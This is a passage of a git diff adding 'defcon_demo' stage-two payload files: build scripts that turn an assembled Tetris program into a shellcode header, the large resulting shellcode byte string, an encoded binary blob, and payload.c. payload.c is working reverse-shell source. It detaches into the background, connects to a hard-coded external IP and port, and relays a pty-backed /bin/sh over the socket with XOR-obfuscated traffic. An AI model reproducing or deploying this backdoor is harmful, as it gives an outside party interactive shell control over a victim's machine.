2 */ + .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } +} diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/makefile b/src/payload_modules/defcon_demo/stage2/payload_src/makefile new file mode 100644 index 0000000..81f7cc5 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/makefile @@ -0,0 +1,25 @@ +PROG=payload + +SYMS = -defsym instructionsX=12 +SYMS += -defsym instructionsY=19 +SYMS += -defsym width=15 +SYMS += -defsym xoffset=3 +SYMS += -defsym height=28 +SYMS += -defsym yoffset=2 +SYMS += -defsym wait=100 +SYMS += -defsym scoredrop=2 +SYMS += -defsym scorelockin=3 +SYMS += -defsym scoreline=100 +SYMS += -defsym scoretetris=1000 +SYMS += -defsym speedup=5 +ENTRY=_tetris + +payload: payload.c + #diet -Os -v gcc -Wl,-T,ld-script -Wl,-N -Os -Wall -o payload payload.c + as -k -o payload.o tetris.s $(SYMS) + ld -T ld-script -o payload payload.o -e $(ENTRY) + strip payload + ./mkhdr.sh + +clean: + rm -f payload payload.o hdr.o hdr.s stage2 tst diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/mkhdr.sh b/src/payload_modules/defcon_demo/stage2/payload_src/mkhdr.sh new file mode 100755 index 0000000..d35832f --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/mkhdr.sh @@ -0,0 +1,26 @@ +#!/bin/sh -x + +EP=`readelf -a payload | awk -F':' '$1 ~ /Entry point/{print $2}' | sed 's/ //g'` + +cat < hdr.s + +.globl _start + +_start: + xorl %eax, %eax + pushl %eax + movl \$${EP}, %eax + jmp *%eax + +EOF + +as -o hdr.o hdr.s + +sc=$(objdump -d hdr.o |awk -F'[:\t]' '$1 ~ /^ +[0-9a-z]+/{print $3}'|tr '\n' ' '| sed -e 's/[0-9a-f][0-9a-f] /\\x&/g' -e 's/ //g') + +printf "$sc" > tst + +dd if=payload of=stage2 2>/dev/null +dd conv=notrunc if=tst of=stage2 2>/dev/null + +cat stage2 > ../linux-x86.bin diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/mksc.sh b/src/payload_modules/defcon_demo/stage2/payload_src/mksc.sh new file mode 100755 index 0000000..9085f2b --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/mksc.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +sc=$(objdump -d ${*}|awk -F'[:\t]' '$1 ~ /^ +[0-9a-z]+/{print $3}'|tr '\n' ' '| sed -e 's/[0-9a-f][0-9a-f] /\\x&/g' -e 's/ //g') + +cat < shellcode.h +#ifndef _SHELLCODE_H +# define _SHELLCODE_H + +#define SHELLCODE "$sc" +#define SHELLCODE_LEN (sizeof(SHELLCODE) - 1) + +#endif +EOF diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/payload.c b/src/payload_modules/defcon_demo/stage2/payload_src/payload.c new file mode 100644 index 0000000..7e54770 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/payload.c @@ -0,0 +1,169 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static void do_shell(void) { + char *argz[2]; + + argz[0]="sh"; + argz[1]=NULL; + + execve("/bin/sh", argz, NULL); +} + +static pid_t frkpty(int *masterin, char *slavename) { + int master, slave; + pid_t chldp; + + if (openpty(&master, &slave, slavename, NULL, NULL) < 0) { + _exit(1); + } + + chldp=fork(); + if (chldp == -1) { + _exit(1); + } + else if (chldp == 0) { + close(master); + setsid(); + if (ioctl(slave, TIOCSCTTY) < 0) { + /*_exit(1);*/ + } + /* dont really care what fails here */ + dup2(slave, 0); + dup2(slave, 1); + dup2(slave, 2); + return 0; + } + else { + *masterin=master; + close(slave); + return chldp; + } + exit(1); +} + +static void handle_chld(int signo) { + int status=0; + + wait(&status); + + exit(0); +} + +int main(void) { + int sock=0, master_in=0; + socklen_t sl=0; + struct sockaddr_in sin; + pid_t chld=0, detach=0; + char slave_name[128]; + struct pollfd fdz[2]; + char rbuf[1024]; + ssize_t rret=0; + int pret=0, j=0; + uint8_t rkey=0x41, wkey=0x41; + + if (inet_aton("204.8.140.164", &sin.sin_addr) < 0) { + _exit(1); + } + + sin.sin_family=AF_INET; + sin.sin_port=htons(9876); + + detach=fork(); + if (detach == -1) { + _exit(1); + } + else if (detach == 0) { + setsid(); + chdir("/"); + fsync(1); + for (j=0 ; j < 256 ; j++) { + close(j); + } + } + else { + _exit(0); + } + + sock=socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + _exit(1); + } + + sl=sizeof(sin); + if (connect(sock, (struct sockaddr *)&sin, sl) < 0) { + _exit(1); + } + + signal(SIGCHLD, handle_chld); + + chld=frkpty(&master_in, slave_name); + if (chld == -1) { + _exit(1); + } + else if (chld == 0) { + do_shell(); + } + else { + + while (1) { +again: + fdz[0].fd=master_in; + fdz[1].fd=sock; + fdz[0].events=fdz[1].events=POLLIN|POLLPRI; + fdz[0].revents=fdz[1].revents=0; + pret=poll(&fdz[0], 2U, 500); + if (pret < 0 && errno == EINTR) goto again; + if (pret == 0) continue; + + if (fdz[0].revents) { + rret=read(fdz[0].fd, rbuf, sizeof(rbuf)); + if (rret) { + for (j=0 ; j < (size_t )rret ; j++) { + rbuf[j] ^= rkey++; + } + write(fdz[1].fd, rbuf, (size_t)rret); + } + } + else if (fdz[1].revents) { + rret=read(fdz[1].fd, rbuf, sizeof(rbuf)); + if (rret) { + for (j=0 ; j < (size_t )rret ; j++) { + rbuf[j] ^= wkey++; + } + write(fdz[0].fd, rbuf, (size_t)rret); + } + } + } + } + + _exit(0); +} diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/shellcode.h b/src/payload_modules/defcon_demo/stage2/payload_src/shellcode.h new file mode 100644 index 0000000..ed1244a --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/shellcode.h @@ -0,0 +1,7 @@ +#ifndef _SHELLCODE_H +# define _SHELLCODE_H + +#define SHELLCODE "\xa1\x62\x9b\x04\x08\x89\xc3\x69\xc0\x0d\x66\x19\x00\x05\x5f\xf3\x6e\x3c\xc1\xe8\x0a\x31\xd8\xa3\x62\x9b\x04\x08\x24\x07\x38\xc1\x72\xde\xc3\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xc3\x31\xc0\xb0\x03\x31\xdb\xb9\xb8\x9a\x04\x08\xcd\x80\xc3\x31\xc0\xb0\x36\x31\xdb\xcd\x80\xc3\x31\xd2\x31\xc0\xa0\xbb\x9a\x04\x08\x84\xc0\x74\x09\xbb\x88\x9a\x04\x08\x4b\x8a\x14\x18\x02\x15\xba\x9a\x04\x08\xd0\xe2\x58\x66\xff\xb2\x8f\x9a\x04\x08\xff\xe0\x66\x8b\x15\x83\x9a\x04\x08\x80\xc2\x04\x31\xc0\xa0\x83\x9a\x04\x08\x30\xf6\x80\xfa\x0f\x7c\x02\xb2\x0f\x31\xdb\xb3\x0a\x0f\xaf\xd8\x81\xc3\xc2\x9a\x04\x08\x31\xc9\xfe\xc1\x80\x3c\x19\x30\x74\x18\x80\xf9\x08\x75\xf3\xfe\xc6\x83\xc3\x0a\x4b\x8a\x4b\xf6\x88\x0b\x81\xfb\xcc\x9a\x04\x08\x75\xf2\xfe\xc0\x38\xc2\x75\xcb\x66\x89\xd1\x80\xfe\x04\x74\x11\x66\xc1\xea\x08\x66\x6b\xd2\x64\x66\x01\x15\x4e\x9a\x04\x08\xeb\x09\x66\x81\x05\x4e\x9a\x04\x08\xe8\x03\x66\xc1\xe9\x08\x66\xa1\xb5\x9a\x04\x08\xb3\x0a\xf6\xf3\x88\xc2\x66\x01\x0d\xb5\x9a\x04\x08\x66\xa1\xb5\x9a\x04\x08\xf6\xf3\x38\xc2\x74\x06\xd0\x2d\xb7\x9a\x04\x08\xe8\x0c\x03\x00\x00\xc3\x66\x83\x05\x4e\x9a\x04\x08\x03\x66\xff\x0d\x83\x9a\x04\x08\x66\xa1\x83\x9a\x04\x08\x66\x85\xc0\x0f\x84\x1a\x03\x00\x00\xe8\x15\xff\xff\xff\x31\xc0\x8a\x1d\xbc\x9a\x04\x08\xb9\xc2\x9a\x04\x08\x66\x8b\x14\x24\x66\xc1\xea\x06\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x88\x1c\x08\x66\x8b\x14\x24\x66\xc1\xea\x04\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x88\x1c\x08\x66\x8b\x14\x24\x66\xc1\xea\x02\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x88\x1c\x08\x66\x5a\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x88\x1c\x08\xe8\x89\xfe\xff\xff\x8a\x0d\xbc\x9a\x04\x08\x66\xc7\x05\x83\x9a\x04\x08\x00\x00\x66\xc7\x05\x85\x9a\x04\x08\x02\x00\xc6\x05\x87\x9a\x04\x08\x00\xc3\xe8\x3c\xfe\xff\xff\x66\x51\x66\x8b\x54\x24\x02\x66\xc1\xea\x06\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x8b\x1d\x85\x9a\x04\x08\x00\xf3\xe8\x73\x01\x00\x00\x66\x8b\x0c\x24\x66\x8b\x54\x24\x02\x66\xc1\xea\x04\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x8b\x1d\x85\x9a\x04\x08\x00\xf3\xe8\x4b\x01\x00\x00\x66\x8b\x0c\x24\x66\x8b\x54\x24\x02\x66\xc1\xea\x02\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x8b\x1d\x85\x9a\x04\x08\x00\xf3\xe8\x23\x01\x00\x00\x66\x8b\x0c\x24\x66\x59\x66\x5a\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x8b\x1d\x85\x9a\x04\x08\x00\xf3\xe8\x00\x01\x00\x00\xc6\x05\x77\x9a\x04\x08\x30\xb9\x74\x9a\x04\x08\x31\xd2\xb2\x05\xe8\x6c\xfd\xff\xff\x66\xb8\x15\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x0c\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\x2a\xfd\xff\xff\xb9\xf3\x99\x04\x08\x31\xd2\xb2\x07\xe8\x1c\xfd\xff\xff\x66\xa1\x4e\x9a\x04\x08\xe8\x66\x00\x00\x00\xe8\x0c\xfd\xff\xff\x66\xb8\x16\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x0c\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\xca\xfc\xff\xff\xb9\xfa\x99\x04\x08\x31\xd2\xb2\x07\xe8\xbc\xfc\xff\xff\x66\xa1\xb5\x9a\x04\x08\xe8\x06\x00\x00\x00\xe8\xac\xfc\xff\xff\xc3\x66\xbb\x0a\x00\xb9\xc2\x9a\x04\x08\x49\x66\x31\xd2\x66\xf7\xf3\x66\x83\xc2\x30\x88\x11\x66\x85\xc0\x75\xee\x89\xcb\x81\xeb\xbd\x9a\x04\x08\x31\xd2\xb2\x05\x29\xda\xc3\x66\x83\xc3\x03\x66\x83\xc0\x02\x66\x50\x66\x53\x88\x0d\x77\x9a\x04\x08\xb9\x74\x9a\x04\x08\x31\xd2\xb2\x05\xe8\x61\xfc\xff\xff\x66\x59\x66\x58\x66\xd1\xe1\x66\x89\xc0\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\x89\xc8\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\x1a\xfc\xff\xff\xb9\x10\x9a\x04\x08\x31\xd2\xb2\x02\xe8\x0c\xfc\xff\xff\xc3\x66\x31\xc0\x31\xdb\x53\x66\x50\x31\xc9\xb1\x0a\x0f\xaf\xc8\x66\x8b\x8c\x0b\xc2\x9a\x04\x08\xe8\x6e\xff\xff\xff\x66\x58\x5b\xfe\xc3\x80\xfb\x0a\x7c\xdf\x66\x40\x3c\x10\x7c\xd7\xc3\x8a\x0d\xbc\x9a\x04\x08\xe8\xb4\xfd\xff\xff\x66\xc7\x05\x76\x9a\x04\x08\x30\x30\xb9\x74\x9a\x04\x08\x31\xd2\xb2\x05\xe8\xbc\xfb\xff\xff\xc6\x05\x82\x9a\x04\x08\x68\xb9\x7d\x9a\x04\x08\x31\xd2\xb2\x06\xe8\xa7\xfb\xff\xff\x80\x3d\xb8\x9a\x04\x08\x71\x75\x52\x66\xb8\x17\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x00\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\x5c\xfb\xff\xff\xb9\x12\x9a\x04\x08\x31\xd2\xb2\x0d\xe8\x4e\xfb\xff\xff\xeb\x50\x66\xb8\x17\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x00\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\x0a\xfb\xff\xff\xb9\x1f\x9a\x04\x08\x31\xd2\xb2\x06\xe8\xfc\xfa\xff\xff\xb9\xf3\x99\x04\x08\x31\xd2\xb2\x07\xe8\xee\xfa\xff\xff\x66\xa1\x4e\x9a\x04\x08\xe8\x38\xfe\xff\xff\xe8\xde\xfa\xff\xff\xb9\x1e\x9a\x04\x08\x31\xd2\xb2\x01\xe8\xd0\xfa\xff\xff\xb9\x25\x9a\x04\x08\x31\xd2\xb2\x29\xe8\xc2\xfa\xff\xff\x55\x89\xe5\x8d\x55\xc4\xb9\x01\x54\x00\x00\xe8\xcb\xfa\xff\xff\x83\x4d\xd0\x0a\x8d\x55\xc4\xb9\x03\x54\x00\x00\xe8\xba\xfa\xff\xff\x5d\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xb5\xfa\xff\xff\x31\xc0\xbb\xc2\x9a\x04\x08\x66\xc1\xea\x06\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x8a\x0c\x03\x80\xf9\x30\x0f\x85\x87\x00\x00\x00\x66\x8b\x14\x24\x66\xc1\xea\x04\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x8a\x0c\x03\x80\xf9\x30\x75\x58\x66\x8b\x14\x24\x66\xc1\xea\x02\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x8a\x0c\x03\x80\xf9\x30\x75\x29\x66\x8b\x14\x24\x66\x81\xe2\x03\x03\x66\xa1\x83\x9a\x04\x08\x00\xd0\x66\x6b\xc0\x0a\x66\x03\x05\x85\x9a\x04\x08\x66\xc1\xea\x08\x66\x01\xd0\x8a\x0c\x03\x80\xf9\x30\x66\x5a\xc3\x31\xdb\x8a\x1d\xbb\x9a\x04\x08\x84\xdb\x74\x0d\x81\xc3\x88\x9a\x04\x08\x8a\x0b\x2a\x4b\xff\xeb\x06\x8a\x0d\x88\x9a\x04\x08\xc3\x55\x89\xe5\x8d\x55\xc4\xb9\x01\x54\x00\x00\xe8\xbc\xf9\xff\xff\x80\x65\xd0\xf5\x8d\x55\xc4\xb9\x03\x54\x00\x00\xe8\xab\xf9\xff\xff\x5d\x31\xc0\xb0\x2b\x31\xdb\xcd\x80\xa3\x62\x9b\x04\x08\xb9\x79\x9a\x04\x08\x31\xd2\xb2\x04\xe8\x76\xf9\xff\xff\xb9\x7d\x9a\x04\x08\x31\xd2\xb2\x06\xe8\x68\xf9\xff\xff\xb9\x74\x9a\x04\x08\x31\xd2\xb2\x05\xe8\x5a\xf9\xff\xff\x66\xb8\x13\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x0c\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\x18\xf9\xff\xff\xb9\x01\x9a\x04\x08\x31\xd2\xb2\x0f\xe8\x0a\xf9\xff\xff\x66\xb8\x14\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x6e\x9a\x04\x08\x80\xc4\x30\x88\x25\x6f\x9a\x04\x08\x66\xb8\x0c\x00\x66\x40\xb3\x0a\xf6\xf3\x04\x30\xa2\x71\x9a\x04\x08\x80\xc4\x30\x88\x25\x72\x9a\x04\x08\xb9\x6c\x9a\x04\x08\x31\xd2\xb2\x08\xe8\xc8\xf8\xff\xff\xb9\xd4\x99\x04\x08\x31\xd2\xb2\x1f\xe8\xba\xf8\xff\xff\x30\xc0\xbb\xc2\x9a\x04\x08\xc6\x03\x31\xc6\x43\x09\x31\x31\xc9\xb1\x01\xc6\x04\x0b\x30\xfe\xc1\x80\xf9\x09\x7c\xf5\x83\xc3\x0a\xfe\xc0\x3c\x0f\x7c\xe1\x31\xdb\xb3\x0a\x6b\xdb\x0f\x81\xc3\xc2\x9a\x04\x08\x31\xc0\xc6\x04\x18\x31\xfe\xc0\x3c\x0a\x7c\xf6\xe8\x6b\xfc\xff\xff\xb1\x06\xe8\x4c\xf8\xff\xff\xa2\xbb\x9a\x04\x08\xe8\x92\xfe\xff\xff\xfe\xc9\xe8\x3b\xf8\xff\xff\xa2\xba\x9a\x04\x08\xb1\x06\xe8\x2f\xf8\xff\xff\x04\x31\xa2\xbc\x9a\x04\x08\xe8\xae\xfd\xff\xff\x0f\x85\x62\xfc\xff\xff\x31\xc0\xb0\xa2\xc7\x44\x24\xf8\x00\x00\x00\x00\xc7\x44\x24\xfc\x90\xd0\x03\x00\x8d\x5c\x24\xf8\x31\xc9\xcd\x80\x55\x31\xc0\x89\xe5\x81\xec\xfc\x00\x00\x00\x0f\xab\x45\x80\x8d\x45\x80\xa3\x5c\x9a\x04\x08\x31\xc0\xb0\x8e\x31\xdb\xb3\x01\x8b\x0d\x5c\x9a\x04\x08\x31\xd2\x31\xf6\xbf\x50\x9a\x04\x08\xcd\x80\x89\xec\x5d\x85\xc0\x75\x45\x8a\x0d\xbc\x9a\x04\x08\xe8\xc3\xf9\xff\xff\xfe\x05\x87\x9a\x04\x08\x8a\x0d\xb7\x9a\x04\x08\x38\x0d\x87\x9a\x04\x08\x75\x8e\xc6\x05\x87\x9a\x04\x08\x00\xb1\x30\xe8\xa1\xf9\xff\xff\x66\xff\x05\x83\x9a\x04\x08\xe8\x1c\xfd\xff\xff\x74\xc5\xe8\x97\xf8\xff\xff\xe9\x32\xff\xff\xff\xb1\x30\xe8\x82\xf9\xff\xff\x31\xd2\xb2\x01\xe8\xa3\xf7\xff\xff\x80\x3d\xb8\x9a\x04\x08\x71\x0f\x84\xad\xfb\xff\xff\x80\x3d\xb8\x9a\x04\x08\x20\x75\x20\x66\xff\x05\x83\x9a\x04\x08\xe8\xde\xfc\xff\xff\x74\xf2\xe8\x59\xf8\xff\xff\x66\x83\x05\x4e\x9a\x04\x08\x02\xe9\xec\xfe\xff\xff\x80\x3d\xb8\x9a\x04\x08\x1b\x0f\x85\x68\xff\xff\xff\x31\xd2\xb2\x02\xe8\x57\xf7\xff\xff\xa0\xb9\x9a\x04\x08\x3c\x44\x75\x15\x66\xff\x0d\x85\x9a\x04\x08\xe8\x9f\xfc\xff\xff\x74\x07\x66\xff\x05\x85\x9a\x04\x08\x3c\x43\x75\x15\x66\xff\x05\x85\x9a\x04\x08\xe8\x86\xfc\xff\xff\x74\x07\x66\xff\x0d\x85\x9a\x04\x08\x3c\x42\x75\x15\x66\xff\x05\x83\x9a\x04\x08\xe8\x6d\xfc\xff\xff\x74\x07\x66\xff\x0d\x83\x9a\x04\x08\x3c\x41\x0f\x85\x07\xff\xff\xff\x30\xe4\xa0\xba\x9a\x04\x08\x66\x50\x66\x40\xe8\x11\xfd\xff\xff\xf6\xf1\x88\x25\xba\x9a\x04\x08\xe8\x3f\xfc\xff\xff\x0f\x84\xe4\xfe\xff\xff\x66\x59\x88\x0d\xba\x9a\x04\x08\xe9\xd7\xfe\xff\xff" +#define SHELLCODE_LEN (sizeof(SHELLCODE) - 1) + +#endif diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/t b/src/payload_modules/defcon_demo/stage2/payload_src/t new file mode 100755 index 0000000000000000000000000000000000000000..8ad5ecc8bb574ae2c610b75a96bd25a57503a14f GIT binary patch literal 8111 zcmc&(Z)_aJ6`$QZ#|E2lcHA^H!MRWy9AWR-j$<5$h9u4(3{C<`2!BG@-k-Ja;Cy$w z+Y1hbLNFB{_Dy|dD z#R3#j*8K!@z^9NWSAoOe5V#RW8V`nR$cuoorT{M@T|bu1Bx2cAdp46Rk6NX? z)urm9Y3cjc?RUw#^n*6hlXQX6)Pc+dG}%Ov!bM{n>b_-=g997;?Jlc>&6x6!z2&$V zq8Ta2jTFgbuA;_X1%-GnT(bZJ7C~B#DveArNK2S<5J7j1zdLrOX8I7a(=&Y3LgB=e zsI0DmR;8s5PwG`#XeG_;`==_P7FtVF_WntUX*Eq(-aiUVMN;R#9vJ_}*gG?K?B1C! zJVgyW?%b1p1M`3S1t^|)ySm^F#EpZn_KoIym)CJx09@+2mLh1(QGFbA0p6 z%9F>=nQLAxEgye#(!E|x{^jsF2238D`T?wuKX%@;{j#)OKDY85Y)=*{r^A)TKWrcStWy4HdLwF2>^nPA zJ~#2$`SCOR)F8v&uAMJ4N<7cU>BYhEg^80Bp|Nw7@>#we>ht~Wk*(LTZ}%d5A4GE9 z8knD@%p*=TQ;N2vuB6KX{gv}Yr!3Fm<>dZ$-@E8lOhWcrc2T zmK<;`n3GViPZ=xlvKbqefE&SZN_-Ri6znqpC{o4*PG-hYrtmp`Kg!`#p1#Z=-42ZG zmnOzgUFkL0cpLnI&sGQJTl@R_qOAyhE2FEdZp4VMwL~m~gB+s^krnInI*HYTzelE6 zjG^Eg5Mn3f%<-LY?D&p2_8ozGZ74IvUoNUw?ZwuYP*1fBMbHYcDHx8P1s?zh;v-7L zL9pj641?Gx*s@}!1ErKxD8(|XdV69{b|@x;ueD3Wh8b7e-H}53n$GyDWap}(?%u9s zhqJnSD4AH*+1t_C+qEXOX7x=8PqoWhW%b08rLw?ViEh{x?Xo&oTWb)A@q=YNF)5wk zd(kkd8s{4lr#8oR>O5+3}VTm zoB1k+QF%Qiz21v)yX;=)z6!66dJ$PrZ!{R8nx!=@HH#RIjCv!opaIX8g^OxK3zuSN zXEuw_!rIz(SQ#N?Yg9Jejncl_wY39_ZmBa7xvH)g0}MRU>Kuz`#fNu8#}qMY8lNt_ z5>L6aH0GK2LgIqmd&~uJ z1!W9Mp%p0WGpkey!&9hMX{AzaZS74>P13^QudNfDkN!@qnC%0DVyMB;KA{H;kD)6J z<)b&|rF6dNMj0-$`P^_+K8VV>Qf4^kq@u}myy%l%D5nxbS-l{3BiUnci@~&fT*f`Mc#)pNKj+fHHN*&0dqDtMOu!eJGYrj)0 zW%9W>z=o{oWT~$*g{&(qj*+ljXB5vN0EqIbxEmLileUM7@exN@NjG0Cp#haVn1mr1 ziH~HGXdsV@cv#Y!s+lN3JDDFDaWH^Z%1M-m?RYVs8^#vjgN1Se24-<4Hv8Y* z6!f?!q@4ZJdS&G4EBBTRA%~&I{h}uJmBca7dPksl1bXW!@QC)v-vetshG7oU3=2Hc z_6`DTJ%+OxROUO^r1hRg0rk+Fs6)u8!+>xfqKR#iehk)nQRqdXr)8Au{Lef+zB_L6 zc{jlE(xmkcqk#6P*9N_|&(V9qr^ho?_vf_xYv^%|X;0oYK<_y6NF=dc`tcH2x63mv zD`}so$UOOvV67L1UKo0OznZk(6biK7GUzRX9?uz?wCxipVEgos2gcTU+GU;Bz_h1{ zdf(Rosg}Lz%TxR-=>3oxkJuLJpI}{wxC4v1g&B{u>_cFkr|2%|J;_Pok(S{HZjRoY zSOojE5>l-f3FvLZ)}*3^KD}k0UWaF65QF#IfIU{@R+eL@=@aPPFpoVJ`P>#Rg4#*+ zWd+KUV7?E|eXd=qB9G zq-1^n3M9Tp>gz{HaC13Jp*azc`aGG=Qb=4o3y=$mrU2$qYnDPHIt!2sVOII)Nm%^5 zqT?zR=fiD23-if?_8t%D|0sZu2k>75I4BRcACw2%|9|)AMxR3*udV=o`oG}62js!} zKJmQoE73uqO8J%f7#0ecy0>E$=Vb{`o+E5ESJ8gMF+={JR2}`zl6$ z-u*{__4|yV|0{r_-utS@6^#X4z& zKCgZbSl(v?v%N=vd0)QPlRpkj(%&+E4(zx08(L)15Lbzl zo?L(XI0fu)|2<%yx7lWcStmXN*1re!xM^*~K(%?}L4U6S_WRQY?EjXs7Fhcifq%CG zYlQ4a$XV7n7o-6 zVs3jTx9*ay<9Hm4iFhK@E>FCdej7Re-5d?$1Px!kD}qZs#?Np5f4use-)PDi;`^e* zJg4I>DH+dZeILwt;Zt(ULqibRcK_}jJMF=NUAyre&9*nqLAUi^5Eby143njhbzCQ9 zbwV|jw}-R&L_BND^S&J~j|zDYV5iC>BL}qU&D%H4TGn98&JEi(+ZwSMou9QTFB7EI z%RcD5DdHuYz3JZV8@3Jf3wx+wryqvP95Gx$6ypbMC&zDwsZ!ofV})cL0QmtCQ%^Y~@ zk@qYx)zjN!4Lhz~NZM|?oO{Shj0$_};Es(O2JIbNw(Q!x+uprl^1K7 OCipeg=g$}TMEf6Bw8NSJ literal 0 HcmV?d00001 diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/t.c b/src/payload_modules/defcon_demo/stage2/payload_src/t.c new file mode 100644 index 0000000..417d76b --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/t.c @@ -0,0 +1,9 @@ +#include + +#include "shellcode.h" + +int main(int argc, char **argv) { + printf("size is %d\n", SHELLCODE_LEN); + + exit(0); +} diff --git a/src/payload_modules/defcon_demo/stage2/payload_src/tMakefile b/src/payload_modules/defcon_demo/stage2/payload_src/tMakefile new file mode 100644 index 0000000..d618aee --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/payload_src/tMakefile @@ -0,0 +1,24 @@ +NAME = tetris +ENTRY = _tetris + +SYMS = -defsym instructionsX=12 +SYMS += -defsym instructionsY=19 +SYMS += -defsym width=10 +SYMS += -defsym xoffset=3 +SYMS += -defsym height=16 +SYMS += -defsym yoffset=2 +SYMS += -defsym wait=150 +SYMS += -defsym scoredrop=2 +SYMS += -defsym scorelockin=3 +SYMS += -defsym scoreline=100 +SYMS += -defsym 